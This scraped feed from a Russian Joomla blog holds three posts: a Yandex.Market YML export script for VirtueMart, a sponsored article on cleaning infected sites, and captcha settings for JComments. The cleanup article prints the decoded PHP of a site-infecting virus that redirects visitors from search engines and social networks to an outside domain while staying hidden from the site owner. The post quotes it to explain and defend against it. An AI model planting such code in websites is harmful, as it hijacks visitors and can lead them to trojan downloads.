Поиск готовых решений в интернете, к сожалению, приводил только к непрохождению проверки на Маркете. Пришлось вручную исправлять ошибки горе-программистов. Под катом — реальноо работающий скрипт, проверенный, настроенный и примененный сегодня (см. дату публикации).

Итак, приступим к реализации. Нам необходимо сделать автоматическое формирование файла *.yml, который и будет кушать наш любимый Яндекс-маркет. Для этого нам надо создать файлик с именем... ... ...ммм... ... ...давайте назовем его export.yml и положим в корень сайта. Вэтот файл вставляем следующий код (кстати, не забудьте убрать BOM, если вы используете кодировку utf-8, иначе в начале файла будут добавлены лишние 2-4 байта в  виде херни какой-то):

{codecitation class="brush:php"}

<?php
//***********************************************************
//
// Версия коннектора к Yandex.Market от 20.03.2012 г.
// Автор доработок скрипта Артем Сучков (artem @ dezigner.ru)
//
// Проверялось на Joomla! 1.5.25 + VirtueMart 1.1.9
//
//***********************************************************

// Путь к 'configuration.php'
include 'configuration.php';
$cfg = new JConfig();

//Короткое название магазина (название, которое выводится в списке найденных на Яндекс.Маркете товаров.
//Не должно содержать более 20 символов). Нельзя использовать слова, не имеющие отношения к
//наименованию магазина ("лучший", "дешевый"), указывать номер телефона и т.п. Название
//должно совпадать с фактическим названием магазина, которое публикуется на сайте. При несоблюдении
//данного требования наименование может быть изменено Яндексом самостоятельно без уведомления Клиента.
$cfg_name = $cfg->fromname;

//Полное наименование компании, владеющей магазином. Не публикуется, используется для внутренней идентификации.
$cfg_company = $cfg->sitename;

//Домен
$cfg_url = 'joomla-show.ru';

// Описание товара
// Вместо {product_name} - будет вставлено наименование товара
// Вместо {product_desc} - будет вставлено краткое описание
$description_template = '{product_desc}';

// Ставка за клик (в центах)
$bid = '11';

$hostname = $cfg->host;
$username = $cfg->user;
$password = $cfg->password;
$dbName = $cfg->db;
$category = $cfg->dbprefix."vm_category";
$category_xref = $cfg->dbprefix."vm_category_xref";
$userstable = $cfg->dbprefix."vm_product";
$pricetable = $cfg->dbprefix."vm_product_price";
$product_category_xref = $cfg->dbprefix."vm_product_category_xref";

mysql_connect($hostname,$username,$password) OR DIE("Нет соединения");
mysql_select_db($dbName) or die(mysql_error());

// Кодировка. Для CP1251 значения будут такими: mysql_query('set names windows1251'); и в следующей строке замените utf-8 на windows-1251
mysql_query('set names utf8');

echo"<?xml version=\"1.0\" encoding=\"utf-8\"?>\n";
echo"<!DOCTYPE yml_catalog SYSTEM \"shops.dtd\">\n";
echo"<yml_catalog date=\"";
echo date('Y-m-d H:i');
echo"\">\n";
echo"<shop>\n";
echo"<name>$cfg_name</name>\n";
echo"<company>$cfg_company</company>\n";
echo"<url>$cfg_url</url>\n";

// Курсы валют по ЦБРФ
echo"<currencies>\n";
echo"<currency id=\"RUR\" rate=\"1\"/>\n";
echo"<currency id=\"USD\" rate=\"CBRF\"/>\n";
echo"<currency id=\"EUR\" rate=\"CBRF\"/>\n";
echo"</currencies>\n";

// Вывод категорий
echo"<categories>\n";
$query_cat = "SELECT * FROM $category_xref";
$res_cat = mysql_query($query_cat) or die(mysql_error());
$rw=1;
while ($row_cat=mysql_fetch_array($res_cat)) {
$cat_parent_id=$row_cat['category_parent_id'];
$cat_child_id=$row_cat['category_child_id'];
$query2 = "SELECT category_name FROM $category WHERE category_id=".$row_cat['category_child_id'];
$res_cat1 = mysql_query($query2) or die(mysql_error());
$name_cat=mysql_fetch_array($res_cat1);
$cat_name=$name_cat['category_name'];
if ($cat_parent_id==0) {
echo"<category id=\"".$cat_child_id."\">".$cat_name."</category>\n";
}
else {
echo"<category id=\"".$cat_child_id."\" parentId=\"".$cat_parent_id."\">".$cat_name."</category>\n";
}
$rw++;
}
echo"</categories>\n";

// Описания товаров
echo"<offers>\n";

$tb_product = $cfg->dbprefix."vm_product";
$tb_manufacturer = $cfg->dbprefix."vm_manufacturer";
$tb_product_mf_xref = $cfg->dbprefix."vm_product_mf_xref";
$tb_category = $cfg->dbprefix."vm_category";
$tb_product_category_xref = $cfg->dbprefix."vm_product_category_xref";
$tb_price = $cfg->dbprefix."vm_product_price";

$query = "
SELECT
$tb_product.product_id,
$tb_product.product_name,
$tb_manufacturer.mf_name,
$tb_manufacturer.manufacturer_id,
$tb_category.category_name,
$tb_category.category_id,
$tb_product_category_xref.category_id,
$tb_price.product_price,
$tb_product.product_sku,
$tb_product.product_in_stock,
$tb_product.product_unit,
$tb_product.product_full_image,
$tb_product.product_s_desc,
$tb_product.product_weight
FROM
($tb_product_category_xref
RIGHT JOIN ($tb_price
RIGHT JOIN (($tb_product_mf_xref
RIGHT JOIN $tb_product
ON $tb_product_mf_xref.product_id = $tb_product.product_id)
LEFT JOIN $tb_manufacturer
ON $tb_product_mf_xref.manufacturer_id = $tb_manufacturer.manufacturer_id)
ON $tb_price.product_id = $tb_product.product_id)
ON $tb_product_category_xref.product_id = $tb_product.product_id)
LEFT JOIN $tb_category
ON $tb_product_category_xref.category_id = $tb_category.category_id
WHERE $tb_product.product_publish='Y'
";

$row = d2a($query);
$product_log = Array();
for($i=0;$i<count ($row);$i++) {
if (!in_array($row[$i]['product_id'],$product_log) AND ($row[$i]['product_price'])) {
$product_log[] = $row[$i]['product_id'];

$url="http://$cfg_url/index.php?page=shop.product_details&amp;flypage=shop.flypage&amp;option=com_virtuemart&amp;product_id=".$row[$i]['product_id'];
//Как-то так: $url="http://$cfg_url/client?page=shop.product_details&flypage=flypage-ask.tpl&product_id=".$row[$i]['product_id']."&category_id=".$row[$i]['category_id']."&manufacturer_id=".$row[$i]['manufacturer_id'];

$product_full_image = "http://$cfg_url/components/com_virtuemart/shop_image/product/".$row[$i]['product_full_image'];
$tags = Array ('{product_name}','{product_desc}');
$repl = Array ($row[$i]['product_name'],$row[$i]['product_s_desc']);
$product_price = substr($row[$i]['product_price'], 0, -3);
$product_cat_id=$row[$i]['category_id'];
echo"\n<offer id=\"".$row[$i]['product_id']."\" available=\"true\" bid=\"$bid\">\n";
echo"<url>".$url."</url>\n";
echo"<price>$product_price</price>\n";
// Валюта в которой указаны цены магазина
echo"<currencyId>RUR</currencyId>\n";
echo"<categoryId>".$product_cat_id."</categoryId>\n";
echo"<picture>".$product_full_image ."</picture>\n";
// Возможность доставки
echo"<delivery>true</delivery> \n";
echo"<name>".strip_tags($row[$i]['product_name'])."</name>\n";
echo"<description>".strip_tags(str_replace($tags,$repl,$description_template))."</description>\n";
echo"</offer>\n";
echo"\n";
}
}

echo"</offers>\n";
echo"</shop>\n";
echo"</yml_catalog>\n";

function d2a($query){
$result = mysql_query($query) or die("Query failed : " . mysql_error());
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {$res[] = $line;}
mysql_free_result($result);
return $res;
}
?>

{/codecitation}

Затем добавляем в .htaccess директиву заставляющую обрабатывать PHP в YML файлах:

RemoveHandler .html .htm
AddType application/x-httpd-php .php .html .phtml .htm .yml

Если все сделали, то при загрузке страницы www.your_domain.ru/export.yml вы должны увидеть вывод информации. Вы сразу поймете, есть ли там ошибки.

Не забудьте обратить пристальное внимание строкам:

039 - Впишите туда свой домен

070 - Читайте внимательно комментарий про кодировку. Да, при смене кодировки не забудьте преобразовать кодировку самого файла.

В заключение, хочу заметить: скрипт полностью рабочий, доработан и проверен лично мной, внедрен в рабочий проект. Все работает без перебоев.

]]>
artyom-vikt@yandex.ru (Артем) Joomla Tue, 20 Mar 2012 16:43:34 +0400
Чистка сайтов от вирусов. http://joomla-show.ru/item/44-chistka-saytov-ot-virusov http://joomla-show.ru/item/44-chistka-saytov-ot-virusov

Давайте поднимем тему заражения вирусами наших сайтов. Как правило, в подавляющем большинстве случаев, заражаются устаревшие версии наших любимых CMS. Именно поэтому я, как и масса других разработчиков, настоятельно рекомендуют во что бы то ни стало обновлять свои системы управления. Это в меньшей мере касается пользователей Битрикса редакции «Стандарт» и выше, в которых встроен модуль «Проактивная защита». По собственному опыту знаю, как это здорово — когда чистку сайта от вирусни за тебя делает встроенный в сайт антивирус. Ты только читаешь письма о том, что был удален подозрительный код. Но цены на эти движки варьируются от 12900 руб. до 249900 руб., то есть, вариант не для фрилансеров. Зачем заражают сайты вирусней? Как быть и что делать, если ваш Joomla-сайт заразился? Обо всем этом — под катом.

Заманчивое предложение от спонсоров:

Стоимость удаления вирусов с одного сайта в студии Millor составит от 2000 рублей до 3500 рублей за комплекс работ по устранению вирусных скриптов. Срок исполнения — один рабочий день. Цены и сроки зависят от количества зараженных файлов и их типа.

Для заказа услуги чистки сайта от вирусов, позвоните по телефонам (499) 755-90-52. Так же вы можете отправить заявку по почте millor.ru(@)gmail.com 
(уберите скобки).
Чистка сайта от вирусов — дело не из простых. И, зачастую, самостоятельное удаление вирусов с сайта непрофессионалом может привести либо к неработоспособности некоторых компонентов, либо к неполной очистке сайта, что приведет к продолжению распространения вирусов на сайте. Поэтому я настоятельно рекомендую всем тем, кто не имеет опыта удаления вируса с сайта обратиться к спонсору блога — студии Millor. Специалисты студии быстро и недорого произведут полную очистку сайта от вирусов, ничего не сломают и дадут рекомендации как избежать подобных ситуаций в дальнейшем.

Итак, что же плохого и опасного может быть в вирусе? Разберем популярный на сегодняшний день вирус, который легко и быстро заражает сайты на Joomla 1.5. В файловой системе он, нак и подавляющее большинство закодирован, имеет особенность заражать не только индексные файлы, но и другие, которые исполняются. Например, файлы Виртуемарта.

В расшифрованном виде он выглядит примерно так:

 {code lang:php title:"Код вируса" lines:true hidden:false}error_reporting(0); 
$qazplm=headers_sent(); 
if (!$qazplm){ 
$referer=$_SERVER['HTTP_REFERER']; 
$uag=$_SERVER['HTTP_USER_AGENT']; 
if ($uag) { 
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) { 
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ 
header("Location: http://costabrava.bee.pl/"); 
exit(); 


}{/code}

Если вы не имеете достаточных знаний в php, чтобы расшифровать приведенный выше код, объясню.

Вирус определяет тип клиента, и в том случае, если это браузер (таким образом он понимает, что на сайт попал живой человек, а не бот), ставит хитрое условие: если человек попадает на сайт  из поисковой системы, либо кликнув на контекстную ссылку в Яндекс-директе или Гугл-адсенсе, если он попадает на сайт, перейдя по ссылке из социальных сетей, либо сервисов коротких url и так далее, то сайт редиректится на (в данном случае) http://costabrava.bee.pl/.

В том случае, если человек пришел на сайт набрав его URL в адресной строке браузера или нажал на ссылку с любого другого сайта (например, с моего), то скрипт не срабатывает и человек видит целевую страницу. То есть, как видите, сделано все, чтобы хозяин или админ сайта максимально долго не мог заметить что сайт заражен вирусом (не будет же он сам щелкать по своей ссылке в директе). 

Для чего это сделано? Как вариант — черная раскрутка какого-нибудь бренда. Например, создается временный сайт в сервисе бесплатного хостинга www.bee.pl с запоминающимся логотипом, заражается миллион сайтов. Люди видят этот логотип. А потом просто увидев логотип на улице, они думают, что это раскрученная торговая марка, которой можно и довериться. 

Еще один вариант — редирект на страницу с трояном, который заразит ваш windows-компьютер. Троян же может легко и быстро украсть все пароли, которые есть у вас на компьютере, все адреса почты. Все, вы в базе. Не успеете вы почистить компьютер от вирусов, как все ваши пароли и адреса из почтового клиента будут находиться в руках у хакеров. Потом не спрашивайте как могли взломать вашу страницу в Одноклассниках, если у вас мега-пароль из 20 букв перемешанных с цифрами.

Итак, зачем нужны вредоносные коды на сайтах мы разобрались. Как же убрать вирус с сайта? Вариантов масса, один из них я описал в самом начале поста. Остальное будем считать коммерческой тайной моих спонсоров. В конце концов, 2000 рублей для коммерческой организации — это не деньги. Если не убрать вирус с сайта, вы можете потерять гораздо больше.

Как обезопасить себя от заражения сайта вирусами в дальнейшем? Ответ прост: регулярно обновляйте свои CMS. Например, вирус, который был описан выше легко пробивает защиту Joomla 1.5.25 и не может заразить Joomla 2.5.3. Не используйте операционную систему Windows, поскольку она наиболее слаба в плане заражения вирусами. Используйте Mac OS X, а если нет денег, то переходите на бесплатные Linux, Ubuntu, FreeBSD... Словом, те операционки, которые изначально защищены от вирусни.

Да, обновление системы управления сайтом и операционной системы — это сложно. Да, много компонентов для 2.5 еще не придумано. Зато придуманы вирусы под  Joomla 1.5.25, а версии Joomla 1.5.26, по словам разработчиков не будет; придуманы вирусы для Windows и эта проблема не решится, по-моему, никогда. В конце концов, компоненты, если они очень важны, можно разработать самостоятельно или заказать их разработку в IT-компании.

Помимо обновления CMS, я бы еще посоветовал установить компонент Eyesite, который отслеживает изменения в файлах и предупреждает о таковых по почте. На этом все. Надеюсь, эта статья принесла вам, моим читателям, столько же пользы, сколько и моим спонсорам.

Не забываем:

Для заказа услуги чистки сайта от вирусов, позвоните по телефонам (495) 410-98-08 или (499) 755-90-52. Так же вы можете отправить заявку по почте millor.ru(@)gmail.com (уберите скобки). 

]]>
artyom-vikt@yandex.ru (Артем) Joomla Tue, 20 Mar 2012 11:37:48 +0400
Как настроить капчу в Jcomments http://joomla-show.ru/item/43-kak-nastroit-kapchu-v-jcomments http://joomla-show.ru/item/43-kak-nastroit-kapchu-v-jcomments

Если вас не устраивает стандартный вид капчи в jcomments, вы всегда можете настроить ее внешний вид. Пример такой настройки в моем блоге.

Для этого вам необходимо отурыть файл /components/com_jcomments/libraries/kcaptcha/kcaptcha_config.php

{code lang:php lines:true hidden:false}<?php
$alphabet = "0123456789abcdefghijklmnopqrstuvwxyz";
$allowed_symbols = "23456789abcdeghkmnpqsuvxyz";
$fontsdir = 'fonts';    
$length = 5;
$width = 121;
$height = 60;
$fluctuation_amplitude = 5;
$no_spaces = true;
$show_credits = false;
$credits = 'www.joomlatune.ru';
$foreground_color = array(180, 180, 180);
$background_color = array(246, 246, 246);
$jpeg_quality = 90;
?>{/code}

Итак, по строкам:

  1. Алфавит, то есть те символы, которые будут вводиться.
  2. Символы, которые будут отображаться на картинке капчи
  3. Путь к папке со шрифтами 
  4. Количество выводимых в капче символов
  5. Ширина картинки с капчей
  6. Высота картинки капчи
  7. Амплитуда, то есть насколько сильно буквы будет колбасить
  8. Наличие пробелов (true, false, что значит есть или нет)
  9. Ставить или не ставить ссылкку на производителя
  10. Собственно, ссылка
  11. Цвет символов в RGB 
  12. Цвет бекграунда капчи в RGB
  13. Качество картинки

 Как и что настраивать, думаю, понятно. Для блога я поставил следующие настройки:

{code lang:php lines:true hidden:false}<?php
$alphabet = "0123456789";
$allowed_symbols = "0123456789";
$fontsdir = 'fonts';    
$length = 3;
$width = 121;
$height = 60;
$fluctuation_amplitude = 2;
$no_spaces = true;
$show_credits = false;
$credits = 'www.joomlatune.ru';
$foreground_color = array(0, 0, 0); 
$background_color = array(246, 246, 246); 
$jpeg_quality = 90;
?>{/code} 

 

 

]]>
artyom-vikt@yandex.ru (Артем) Joomla Tue, 28 Feb 2012 02:43:58 +0400